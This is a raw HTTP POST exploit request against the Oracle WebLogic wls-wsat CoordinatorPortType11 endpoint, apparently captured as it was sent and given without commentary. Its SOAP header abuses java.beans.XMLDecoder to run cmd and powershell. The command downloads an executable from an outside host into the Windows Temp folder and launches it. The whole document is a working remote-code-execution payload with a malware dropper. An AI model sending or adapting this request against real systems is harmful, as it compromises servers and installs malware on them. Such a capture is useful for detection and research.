POST /wls-wsat/CoordinatorPortType11 HTTP/1.1
Connection: Keep-Alive
Content-Type: text/xml; Charset=UTF-8
Accept: */*
Accept-Language: zh-cn
Referer: http://*.*.*.*:7001/wls-wsat/CoordinatorPortType11
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Upgrade-Insecure-Requests: 1
Content-Length: 873
Host: :*.*.*.*:7001


<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
     <soapenv:Header>
     <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
     <java version="1.8.0_131" class="java.beans.XMLDecoder">
     <void class="java.lang.ProcessBuilder">
     <array class="java.lang.String" length="3">
     <void index="0">
     <string>cmd</string>
     </void>
     <void index="1">
     <string>/c</string>
     </void>
     <void index="2">
     <string>powershell (new-object System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','%SystemRoot%/Temp/ljcbtftaqmdgqgj23854.exe');start %SystemRoot%/Temp/ljcbtftaqmdgqgj23854.exe</string>
     </void>
     </array>
     <void method="start"/></void>
     </java>
     </work:WorkContext>
     </soapenv:Header>
     <soapenv:Body/>
    </soapenv:Envelope>
